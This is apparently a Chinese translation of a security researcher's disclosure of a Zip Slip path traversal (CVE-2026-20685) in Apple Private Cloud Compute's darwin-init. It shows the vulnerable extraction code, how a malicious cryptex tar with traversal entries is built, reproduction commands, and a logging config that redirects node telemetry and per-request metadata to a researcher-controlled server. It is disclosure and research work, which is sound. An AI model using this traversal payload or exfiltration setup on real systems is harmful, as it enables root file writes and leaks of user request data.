导语:Sentry 团队用了一个三十年前的 Zip Slip 路径穿越漏洞,硬生生撕开了苹果 Apple Intelligence 的隐私底线——私有云计算(Private Cloud Compute,PCC)的启动组件 darwin-init 出了大问题,攻击者可以在节点启动时以 root 身份写文件,把节点遥测重定向到自己服务器,把所有 AI 推理请求的元数据按请求聚合整齐地拎出来。苹果给了 $150,000 赏金。
本文为编译转载。原作者 Drinor Selmanaj(Sentry 创始人兼 CTO,纽约大学 Tandon 网络安全硕士在读),首发于 Sentry Security Blog。华盟网已获原作者授权翻译发布。技术细节全部保留并补充注释。
一、PCC 是什么,为什么跟 AI 有关
私有云计算(Private Cloud Compute,PCC)是苹果为 Apple Intelligence 提供的服务器端基础设施。当你的 iPhone 处理不了的 AI 推理请求太大、太复杂时,就会被路由到 PCC 节点上执行。苹果对它的隐私承诺建立在三个核心机制上:
无状态:节点在内存里处理单次请求,跨请求、跨重启都不会保留任何用户数据。
可验证:你的设备在发送任何数据之前,会用公开的密码学日志进行验证,确认这台节点只运行苹果发布的软件。
封闭的可观测性:日志和指标通过封闭的审计表传输,只有预先批准的特定字段才能离开节点。
简而言之:苹果想让你相信,PCC 节点的处理体验跟你 iPhone 本机的体验一样安全。
二、术语速查
下面这些术语后面会反复用到:
- PCC 节点:整个集群中的一台服务器,跑的是加固版的 DarwinOS。
- Cryptex(密码学密封扩展):一个经过签名的代码和数据包,启动时挂载到节点上。PCC 把自己的操作系统和服务都打包成 cryptex。
- darwin-init:节点启动时第一个用户态进程,PID 1,root 权限运行,负责拉取配置、下载和解压 cryptex、安装它们,然后触发一次用户态重启进入运行态。
- VRE(Virtual Research Environment,虚拟研究环境):苹果提供的官方工具,能在虚拟机里启动一个真实的 PCC 镜像供研究者测试。
- 信任边界:苹果划定的 PCC 内部(你的数据受保护)和外部(不受保护)的分界线;attestation(远程证明)就是你的设备用来检查节点是不是真的、是不是只跑了苹果公开软件的那套机制。
三、攻击窗口:darwin-init 启动那一刻
PCC 节点启动时,第一个用户态进程是 darwin-init,PID 1,root 权限。它依次完成这几件事:解析配置源、下载系统 cryptex、解压、个性化、安装,然后触发一次用户态重启(USR),拉起稳态服务。
启动窗口里有两个关键事实。
第一,darwin-init 在任何稳态服务启动之前,就以 root 身份往可写数据卷写文件了。它留在磁盘上的任何东西,节点进入运行态后都还在。
第二,cryptex 是一个个安装的。每装一个,校验结果跟请求的配置对比。如果某个 cryptex 安装失败,校验就不通过,USR 不继续,节点挂着没有任何服务起来——这意味着攻击者写的 payload 不能”破坏”任何一个 cryptex 安装流程。

四、解压器的致命设计
darwin-init 下载一个 artifact 时,会读前四个字节(magic number,文件类型标识)来挑对应的解压器:
| Magic | 类型 | 解压器 |
|---|---|---|
AEA1 | Apple 加密归档 | extractAppleEncryptedArchive |
AA01 | Apple 归档 | extractUncompressedAppleArchive |
| 其它任何 | tar / gz / bz2 / zip / cpio | extract(to:) |
tar 归档的 ustar 签名在字节偏移 257 处,远远超过四字节窗口。所以 tar 不会匹配任何已知 magic,直接落到默认分支 extract(to:)。
extract(to:) 这个函数干的事是这样的:
guard let cStr = archive_entry_pathname(entry) else { continue }
let str = String(cString: cStr)
// 把 entry 的路径名拼到输出目录下
let pathname = path.appending(str)
archive_entry_set_pathname(entry, pathname.description)
entry 的名字直接来自归档,没做任何清理或校验。解压选项确认了这一点:
let options = ARCHIVE_EXTRACT_TIME | ARCHIVE_EXTRACT_PERM
| ARCHIVE_EXTRACT_ACL | ARCHIVE_EXTRACT_FFLAGS
这些选项保留了时间戳、权限、ACL(访问控制列表)和文件标志——但 libarchive(归档解压库)的任何安全标志都没设。结果就是:libarchive 把文件写到 entry 名字指向的任何地方,返回 ARCHIVE_OK。
本可以阻止这件事的两个控制点都失效了:cryptex 配置走 PrivateCloudOSValidator.validate(cryptexConfig:),但公开源码里这个函数体是空的;每个 cryptex 的 sha256 校验和是可选的,攻击者提供配置时可以跳过完整性校验。研究人员就是利用了这两点。
解压目录在四层深度:
/var/tmp/darwin-init/cryptex/<UUID>/
所以路径穿越可以这么搞:
| 穿越层数 | 解析到 | 备注 |
|---|---|---|
| ×3 | /var/tmp/ | 被 USR 清掉 |
| ×4 | /var/db/ | 持久化 |
| ×5 | / | 文件系统根 |
三层穿越到 /var/tmp/,会被 USR 清掉,没用。四层到 /var/db/,落在可写数据卷上,重启之后还在——这就是要利用的位置。
五、构造一个恶意的 cryptex
这里有个棘手的问题:纯粹的 traversal 条目 tar 包会在写完文件后因为 fullyApplied 检查失败而让启动挂掉。所以 payload 必须同时是两样东西:一个能穿越的 exploit,以及一个结构上完全合法、能通过所有校验的 cryptex。
研究人员想到了一个很巧的办法:单个 tar 归档里塞两类 entry:
- 以
../../../../db/开头的 traversal entry,逃逸到 /var/db/ - 旁边放一个完整、合法 cryptex bundle——Restore/BuildManifest.plist 加一组 Restore/Cryptex/POC_DEMO/{gdmg,ginf,gtcd,gtgv},这是用苹果官方的
pccvre cryptex create对一个临时源目录生成 .aar 后解包得到的
这样处理的结果是:traversal entry 先写到 /var/db/;Restore/ 子树落到解压目录里,cryptexctl personalize 检查通过;personalize 成功、install 成功、fullyApplied 通过、USR 触发、节点正常启动。完美。
下面是构建工具的 inspect 命令输出:
$ python3 CVE-2026-20685.py inspect malicious_cryptex.tar
[F] ../../../../db/poc_darwin_init_traversal_proof 357 B traversal
[F] ../../../../db/prcos/splunkloggingd/config-main.plist 836 B traversal
[D] Restore/
[D] Restore/Cryptex/
[F] Restore/BuildManifest.plist 1746 B bundle
[D] Restore/Cryptex/POC_DEMO/
[F] Restore/Cryptex/POC_DEMO/gdmg 14336 B bundle
[F] Restore/Cryptex/POC_DEMO/ginf 527 B bundle
[F] Restore/Cryptex/POC_DEMO/gtcd 46 B bundle
[F] Restore/Cryptex/POC_DEMO/gtgv 229 B bundle
前两条 entry 解压到 /var/db/;剩下的就是合法 cryptex bundle。
六、在 VRE 上复现
用 PCC release 37684 起了个 VRE 实例,把这个恶意 tar 注册成第三个 cryptex(跟两个苹果提供的 release 资产并列)。VM 启动时,pccvre 在宿主上起一个 HTTP 服务,darwin-init POST 设备身份过去、拿回一份完整远程配置、然后下载配置里命名的所有 cryptex,包括我的——通过 HTTP。
$ /System/Library/SecurityResearch/usr/bin/pccvre instance start --debug -N demo
HTTP service started: 192.168.64.1:58538
DarwinInitHelper update cryptex:
malicious_cryptex.tar -> http://192.168.64.1:58538/malicious_cryptex.tar
Starting VM: demo (ecid: 3443e8d0ffe39efa)
Started VM: demo
几秒后节点起来了。研究人员用了一个仅在研究中存在的 Debug Shell(生产里没有)来验证。那个 shell 里没有 cat 或 ls,所以读取用了 shell 内置:
$ ssh root@192.168.64.50 'echo "$(< /var/db/poc_darwin_init_traversal_proof)"'
PATH_TRAVERSAL_CONFIRMED: Written by
darwin-init FilePath+Archive.swift:95
Extraction base: /var/tmp/darwin-init/cryptex/<UUID>/
Target: /var/db/poc_darwin_init_traversal_proof
$ ssh root@192.168.64.50 'test -f /var/db/.DarwinSetupDone && echo BOOT_COMPLETED'
BOOT_COMPLETED
文件被 root 写到解压目录之外,并且存活过了用户态重启。.DarwinSetupDone 标记确认启动过程正常完成。
光写个文件不够,研究人员想把这个洞利用的危害拉满——接下来探的是:拿到 root 文件写权限后能做什么。

七、把 splunkloggingd 重定向到自家服务器
PCC 内部装了一个日志转发器,叫 splunkloggingd。它的 LaunchDaemon(macOS 的服务管理器配置项)用了一个 PathState KeepAlive(路径状态保活)机制——它检查可写数据卷上的一个文件:/var/db/prcos/splunkloggingd/config-main.plist。这个文件一存在,launchd 就启动 splunkloggingd 并指向文件里写明的目标。
研究人员的第二个 traversal entry 把这个文件写了进去,配置如下(部分关键字段):
Server
http://192.168.64.1:8088
Index
exfil
Predicates
subsystem == "com.apple.cloudos.cloudboard"
subsystem == "com.apple.cloudos"
subsystem == "com.apple.darwininit"
Level
Debug
第二次启动后几秒内,研究人员的监听器就接到了大约 785 KB 的 CloudBoard 守护进程状态、job 事件、节点遥测数据,之后是稳定的信息流。
更有意思的是研究人员往节点推了一条推理请求的那一刻。被重定向的流里开始出现 PCCAgentApp 发送方发来的每请求元数据,这是它 PlaintextMetadata 结构的关键字段:
bundleID: "local-cloudboard-client"
workloadType: "tie-vre-cli"
requestID: CAFC3ED5-…-363C47FB9B64
automatedDeviceGroup: "local-test-device"
这些字段在节点空闲时不存在,只有处理请求时才出现。三次请求下来,相关性分析清晰地把它们聚成了三个独立的请求簇,每个有自己的 requestID 和自己的 chunk 大小。在苹果的源码里,bundleID、featureID、workloadType 是生产环境请求路由、访问控制、速率限制用的字段;requestID 和 automatedDeviceGroup 是每请求关联和设备分组的标识符。CloudBoard 把渲染后的 PlaintextMetadata 描述标记为”绝不能公开记录”——这进一步强化了研究人员的影响评估。
把 Predicates 扩到包含可信推理引擎(Trusted Inference Engine)的发送方后,同一条通道还会交出 token 数量。两条不同长度的 prompt:
| 指标 | “Hi” | “Explain quantum computing…” |
|---|---|---|
| input tokens | 2 | 37 |
| output tokens | 100 | 100 |
| draft output tokens | 61 | 73 |
| first-token latency | 843 ms | 1830 ms |
input 数跟着 prompt 长度走,证明这个指标确实在测 tokenize(分词)。还能看到每 token 时间、揭示推测解码(speculative decoding)的 draft-token 数、以及模型身份。所有这些都为侧信道攻击打开了门。

八、证明 attestation 的盲区
研究人员对同一实例跑了三次启动,做 nonce 对比:两次干净启动(用一份不含 traversal entry 的控制 tar),一次污染启动(用同一份 bundle 加 traversal entry)。事先确认两份 tar 的 .cxbd bundle 内容字节一致,然后对比 attestation(远程证明)bundle。
| Attestation 字段 | 干净 vs 污染 | 为什么 |
|---|---|---|
| apTicket | 一致 | 不变量 |
| SecureConfig 项及摘要 | 一致 | 不变量 |
| cryptex 元数据及 entry 标志 | 一致 | 不变量 |
| appData | 一致 | 不变量 |
| Image4 manifests、sepAttestation | 不同 | 每次启动的 nonce,干净-干净对照也是这个规律 |
| keyExpiration | 不同 | 每次启动的时间戳 |
| 可写数据卷状态 | 不同 | 不在 attestation 链路里 |
苹果自己的 verifier pccvre attestation verify 在所有可查字段上都把两份 bundle 当成一样的。结论是:PCC 的 attestation 只测装了哪些软件,可写数据卷上那些运行时影响守护进程行为的配置文件,似乎不在 attestation 校验链路里。Attestation 能证明装了什么软件,但证明不了节点上各种配置文件的完整性。在研究人员能查到的每一个 attestation 相关字段上,污染节点都跟干净节点在验证流程里无法区分。
九、为什么这件事现在变得更重要
私有云计算作为 Apple Intelligence 特性的核心组件越来越重要。在 2026 年 6 月的 WWDC 上,苹果推出了重新设计、能力更强的 Siri AI,作为下一代 Apple Intelligence 的一部分,beta 版计划在 2026 年晚些时候推出。苹果的公开资料明确说,Apple Intelligence 更大的、基于服务器的模型跑在 Private Cloud Compute 上——苹果把这描述为”把 Apple 设备的安全和隐私扩展到云端”。
十、披露与致谢
核心漏洞是一个三十年前的漏洞类别,跟 Zip Slip(CVE-2007-4559、CWE-22)同一个类型——但这恰恰说明,保护整个推理流水线和环境跟保护模型本身同等重要。
研究人员通过负责任的披露渠道向苹果报告了 CVE-2026-20685。所有工作都在苹果的 Virtual Research Environment——也就是苹果官方给 PCC 安全研究提供的工具——内完成,没有对生产基础设施做任何测试。
苹果把这个 issue 评级为信息泄露(CVSS 6.5,向量 AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N),在 PCC release 5E290.3 及后续版本里修复了。苹果验证了这份报告,并通过 Apple Security Bounty 颁发了 $150,000 奖金。
跟苹果产品安全团队合作是一次非常愉快的经历。他们从一开始就认真对待这份报告,并直接参与了技术细节的讨论。研究人员感谢他们,也感谢苹果构建了一个既照顾研究者、又对其产品有加持的研究环境。

关于作者:Drinor Selmanaj,Sentry 创始人兼 CTO,纽约大学 Tandon 网络安全硕士在读。
出处声明:本文编译自 Sentry Security Blog 原创技术文章 Beyond Prompt Injection: Hacking Apple’s Private Cloud Compute,原作者 Drinor Selmanaj,发布时间 2026 年 7 月底。完整保留原文技术细节、代码片段、表格与图片,遵循原文 CC 授权方式标注出处。中文译稿版权归华盟网所有,转载须保留原作者署名与本文出处链接。














暂无评论内容